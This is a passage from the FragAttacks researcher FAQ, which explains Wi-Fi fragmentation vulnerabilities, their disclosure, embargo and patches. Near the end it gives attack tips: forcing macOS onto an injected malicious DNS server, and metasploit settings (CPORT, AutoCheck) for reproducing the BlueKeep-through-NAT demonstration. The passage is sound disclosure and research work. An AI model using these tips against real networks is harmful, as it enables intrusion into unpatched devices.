transmitting even when you are connected to an open Wi-Fi network. This also means that you can safely use open Wi-Fi hotspots as long as you keep your devices up-to-date and as long as you assure that websites are using HTTPS. Unfortunately, not all websites require the usage of HTTPS (i.e. they're not using HSTS), meaning they remain vulnerable to possible attacks. At home, the security of your Wi-Fi network is also essential. An insecure network means that others might be able to connect to the internet through your home. Additionally, more and more devices are using Wi-Fi to transfer personal files in your local network without an extra layer of protection (e.g. when printing files, smart display screens, when sending files to a local backup storage, digital photo stands, and so on). More problematic, a lot of internet-of-things devices have tons of security vulnerabilities that can be exploited if an adversary can communicate with them. The main thing that prevents an adversary from exploiting these insecure internet-of-things devices is the security of your Wi-Fi network. It therefore remains essential to have strong encryption and authentication at the Wi-Fi layer. At work, the security of Wi-Fi is also essential for the same reasons as mentioned above. Additionally, many companies will automatically allow access to sensitive services when a user (or adversary) is able to connect to the Wi-Fi network. Therefore strong Wi-Fi security is also essential in a work setting. Will using a VPN prevent attacks? Using a VPN can prevent attacks where an adversary is trying to exfiltrate data. It will not prevent an adversary from bypassing your router's NAT/firewall to directly attack devices. How did you discover this? The seeds of this research were already planted while I was investigating the KRACK attack. At that time, on 8 June 2017 to be precise, I wrote down some notes to further investigate (de)fragmentation support in Linux. In particular, I thought there might be an implementation vulnerability in Linux. However, a single unconfirmed implementation flaw isn't too spectacular research-wise, so after disclosing the KRACK attack I decided to work on other research instead. The idea of inspecting (de)fragmentation in Wi-Fi, and determining whether there really was a vulnerability or not, was always at the back of my mind though. Fast-forward three years later, and after gaining some additional ideas to investigate, closer inspection confirmed some of my hunches and also revealed that these issues were more widespread than I initially assumed. And with some extra insights I also discovered all the other vulnerabilities. Interestingly, this also shows the advantage of fleshing out ideas before rushing to publish (though actually finishing the paper before submission was still a race against time..). How sure are you that all Wi-Fi devices are affected? In experiments on more than 75 devices, all of them were vulnerable to one or more of the discovered attacks. I'm curious myself whether all devices in the whole world are indeed affected though! To find this out, if you find a device that isn't affected by at least one of the discovered vulnerabilities, let me know. Also, if your company provides Wi-Fi devices and you think that your product was not affected by any of the discovered vulnerabilities, you can send your product to me. Once I confirmed that it indeed was not affected by any vulnerabilities the name of your product and company will be put here! Note that I do need a method to assure that I'm indeed testing a version of the product that was available before the disclosure of the vulnerabilities (and that you didn't silently patch some vulnerabilities). Does this mean every Wi-Fi device is trivial to attack? The design issues are, on their own, tedious to exploit in practice. Unfortunately, some of the implementation vulnerabilities are common and trivial to exploit. Additionally, by combining the design issues with certain implementation issues, the resulting attacks become more serious. This means the impact of our findings depends on the specific target. Your vendor can inform you what the precise impact is for specific devices. In other words, for some devices the impact is minor, while for others it's disastrous. How many networks use fragmentation? By default devices don't send fragmented frames. This means that the mixed key attack and the fragment cache attack, on their own, will be hard to exploit in practice, unless Wi-Fi 6 is used. When using Wi-Fi 6, which is based on the 802.11ax standard, a device may dynamically fragment frames to fill up available airtime. How many networks periodically refresh the pairwise session key? By default access points don't renew the pairwise session key, even though some may periodically renew the group key. This means that the default mixed key attack as described in the paper is only possible against networks that deviate from this default setting. Isn't is irresponsible to release tools to perform the attacks? The test tool that we released can only be used to test whether a device is vulnerable. It cannot be used to perform attacks: an adversary would have to write their own tools for that. This approach enables network administrators to test if devices are affected while reducing the chance of someone abusing the released code. Where are all the attack tools? The code that has currently been released focusses on detecting vulnerable implementations. The proof-of-concepts scripts that perform actual attacks are not released to provide everyone with more time to implement and deploy patches. Once a large enough fraction of devices has been patched, and if deemed necessary and/or beneficial, the attack script will be publicly released as well. Do you have example network captures of the vulnerabilities? There are example network captures of the test tool that illustrate the root causes of several vulnerabilities. How long will you maintain the driver patches needed to run the test scripts? The modifications to certain drivers have been submitted upstream to Linux meaning they will be maintained by the Linux developers themselves. The patches to the Intel driver have not been submitted upstream because they're a bit hacky. Concretely, this means that drivers such as ath9k_htc will be supported out of the box, while for Intel devices you will have to use patched drivers and I'm not sure how much time I'll have to maintain those. Why are so many implementations vulnerable to be non-consecutive PN attack? That's a good question. I'm not sure why so many developers missed this. This widespread implementation vulnerability does highlight that leaving important cryptographic operations up to developers is not ideal. Put another way, it might have been better if the standard required an authenticity check over the reassembled frame instead. That would also better follow the principle of authenticated encryption. Why are so many implementations vulnerable to the mixed plaintext/encrypted fragment attack? The 802.11 standard states in section 10.6: "If security encapsulation has been applied to the fragment, it shall be deencapsulated and decrypted before the fragment is used for defragmentation of the MSDU or MMPDU". There is unfortunately no warning that unencrypted fragments should be dropped. And there are no recommend checks that should be performed when reassembling two (decrypted) fragments. Can an implementation be vulnerable to a cache attack without being vulnerable to a mixed key attack? Yes, although this is unlikely to occur in practice. More technically, let's assume that an implementation tries to prevent mixed key attacks by: (1) assigning an unique key ID to every fragment; (2) incrementing this key ID whenever the pairwise transient key (PTK) is updated; and (3) assuring all fragments were decrypted under the same key ID. Unfortunately, in that case cache attacks may still be feasible. In particular, if under this defense key IDs are reused after (re)connecting to a network, for example because they are reset to zero, fragments that are decrypted using a different key may still be assigned the same key ID. As a result, cache attacks remain possible, because the fragments will still be reassembled as they have the same key ID. Can the mixed-key attack be prevented in a backward-compatible manner? Strictly speaking not, because the 802.11 standard does not explicitly require that a sender encrypts all fragments of a specific frame under the same key. Fortunately, all implementations that we tested did encrypt all fragments using the same key, at least under the normal circumstances that we tested, meaning in practice the mixed key attack can be prevented without introducing incompatibilities. Is the old WPA-TKIP protocol also affected by the design flaws? Strictly speaking not, though implementations can still be vulnerable. Note that TKIP should not be used because it is affected by other more serious security flaws. Additionally, TKIP has been deprecated by the Wi-Fi Alliance. The TKIP protocol is not affected by the fragmentation-based design flaws (CVE-2020-24587 and CVE-2020-24586) because it verifies the authenticity of the full reassembled frame. This is in contrast to CCMP and GCMP, which only verify the authenticity of individual fragments, and rely on sequential packet numbers to securely reassemble the individual (decrypted) fragments. Additionally, TKIP is not affected by the aggregation design flaw (CVE-2020-24588) because a receiver is supposed to drop A-MSDUs that are encrypted using TKIP. Indeed, in Section " Per-MSDU/Per-A-MSDU Rx pseudocode" of the 802.11-2016 standard it's specified that when using TKIP only normal MSDU frames are accepted. Unfortunately, some implementations don't verify the authenticity of fragmented TKIP frames, and some accept aggregated frames (i.e. A-MSDUs) even when encrypted using TKIP. This unfortunately means that in practice TKIP implementations may still be vulnerable. Is the ancient WEP protocol also affected by the design flaws? Yes. The WEP protocol is so horrible that it doesn't even try to verify the authenticity of fragmented frames. This means an adversary can trivially perform aggregation-based attacks against WEP. Similar to TKIP, the WEP protocol is not affected by the aggregation design flaw (CVE-2020-24588) because a receiver is supposed to drop A-MSDUs that are encrypted using WEP. Nevertheless, in practice several WEP implementations do accept A-MSDUs and therefore are still vulnerable. Finally, in case you've been living under a rock, stop using WEP, it's known to be a horrible security protocol. Can fragmentation attacks be preventing by disallowing small delays between fragments? This would make exploiting possible vulnerabilities harder and perhaps in some cases practically infeasible. Unfortunately this doesn't provide any guarantees though. I therefore recommend to fix the root cause instead. Are patches for Linux available? Yes! During the embargo I helped write some patches for the Linux kernel. This means an updated Linux kernel should (soon) be available for actively supported Linux distributions. Did others also discover the plaintext injection issue (CVE-2020-26140)? During the embargo I was made aware that Synopsys also discovered the plaintext injection vulnerability (CVE-2020-26140) in access points. They found that Mediatek, Realtek, and Qualcomm were affected, and to cover these three implementations the identifiers CVE-2019-18989, CVE-2019-18990, and CVE-2019-18991 were respectively assigned. During the FragAttacks research I found that the same vulnerability was (still) present in other access points and that clients can be vulnerable to a similar attack. Additionally, and somewhat surprisingly, I also found that some devices reject normal (non-fragmented) plaintext frames but do accept fragmented plaintext frames (CVE-2020-26143). Why do you use the same CVE for implementation issues in multiple different codebases? Implementation-specific vulnerabilities usually get their own independent CVE identifier for each different codebase. However, because the same implementation issues seem to be present across multiple vendors it would make more sense to have a single CVE identifier for each common implementation issue. After all, the main purpose of CVE identifiers is to provide a single, common ID to be used across vendors to identify the same vulnerability. We therefore think it makes sense to assign only a single CVE identifier to each implementation issues. This enables vendors and customers to easily reference an implementation vulnerability and, for instance, check whether certain products are affected by one of the discovered vulnerabilities. Why was the embargo so long? The disclosure was delayed by two months in consensus with ICASI and the Wi-Fi Alliance. The decision on whether to disclose fast, or to provide more time to write and create patches, wasn't easy. At the time, the risk of leaks appeared low, and the advantage of delaying appeared high. Additionally, we were prepared to immediately disclose in case details would accidently leak publicly. Another aspect that influenced my decision was the current situation, meaning COVID-19, which among other things made it harder to safely get access to physical places/labs to test patches. How did you monitor for leaks during the embargo? During the last two months of the embargo, we were prepared to make the research public whenever information would seemed to be leaking. To detect leaks I personally searched for relevant keywords (CVE numbers, paper title, script names) on Google and social media such as Twitter. The Wi-Fi Alliance and ICASI were also monitoring for leaks (e.g. if questions came from people that shouldn't have known about it). This can detect innocent leaks. Detecting malicious leaks or usage of the vulnerabilities in stealthy attacks is a much harder problem (if even possible at all). If you know about cases where some information was (accidently) leaked, it would be useful to know about that so that I can better estimate the impact of having long embargos. Any information you provide about this will remain confidential. This information will help me in future decision when weighing the option of a longer embargo versus disclosing research even when several vendors don't have patches ready (i.e. it won't be used to point fingers). Are these vulnerabilities being exploited in practice? Not that we are aware of. Because some of the design flaws took so long to discover my hunch is that those have not been previously exploited in the wild. But it is difficult to monitor whether one of the discovered vulnerabilities have been exploited in the past or are currently being exploited. So it is hard to give a definite answer to this question. Why did Microsoft already fix certain vulnerabilities on March 9, 2021? The original disclosure date was March 9, 2021. Roughly one week beforehand it was decided to delay the disclosure. At this time Microsoft had already committed to shipping certain patches on March 9. I agreed that already releasing certain patches without providing information about the vulnerabilities was, at that point, an acceptable risk. Put differently, the advantages of delaying the disclosure appeared to outweigh the risk that someone would reverse engineer the patches and rediscover certain attacks. Is the "Treating fragments as full frames" flaw (CVE-2020-26142) also applicable to APs? Yes, access points can also be vulnerable. In particular, during additional experiments that I recently performed, the vulnerability was also present in OpenBSD when it acted as an access point. Can APs be vulnerable to attacks that send broadcast frames? Yes, although they are less likely to be vulnerable compared to clients. This is because under normal circumstances clients never send a frame to the AP with a broadcast receiver address. Instead, clients first send broadcast/multicast network packets as unicast Wi-Fi frames to the AP, and the AP then broadcasts these packets to all connected clients. As a result, many APs will simply ignore Wi-Fi frames with a broadcast receiver address, because in normal networks those frames are only meant for clients. Why are some of the tested devices so old? I also tested some very old Wi-Fi devices and dongles to estimate how long the discovered vulnerabilities have been present in the wild. Note that some old devices may remain in use for a long time, for example, expensive medical or industrial equipment that is rarely replaced. How did you make macOS switch to the malicious DNS server in the demonstration? After injecting the ICMPv6 Router Advertisement with the malicious DNS server, macOS won't immediately use this DNS server. This is because macOS will only switch to the malicious DNS server if its current (primary) DNS server is no longer responding. To force this to happen, we briefly block all traffic towards the victim. This causes macOS to switch to the malicious DNS server. Isn't nyu.edu using HSTS to prevent these kind of attacks? Websites can use HSTS to force browsers to always use HTTPS encryption when visiting a website. This prevents the attack that was shown in our demo. Unfortunately, the website of NYU at the time did not properly configure HSTS. More technically, some subdomains such as globalhome.nyu.edu do instruct the browser to use HSTS by including the following header in responses: strict-transport-security: max-age=31536000 ; includeSubDomains Unfortunately, other subdomains such as shibboleth.nyu.edu remove HSTS by including the following header in responses: Strict-Transport-Security: max-age=0 Combined with other configuration decisions, this meant that when a user would type nyu.edu in their browser, the initial request was sent in plaintext and therefore could be intercepted by an adversary. Note that NYU has been informed of this issue and is investigating it. How do I reproduce the BlueKeep attack shown in the demonstration? First, when using the NAT punching technique, it is essential that you manually configure the CPORT parameter so that metasploit uses the correct client port. You can learn this port from the injected TCP SYN packet that arrives at the server. When using a different client port the router/NAT will not recognize the connection and will not forward it to the victim machine. Second, you must set the AutoCheck parameter to zero. Otherwise metasploit will try to initiate multiple connections with the victim and that is problematic when manually specifying a client port through CPORT. This workaround of setting AutoCheck to zero can be avoided by punching multiple holes in the router/NAT and modifying the metasploit to use a different CPORT for each connection that will be initiated.   Sursa: https://www.fragattacks.com/
  • Create New...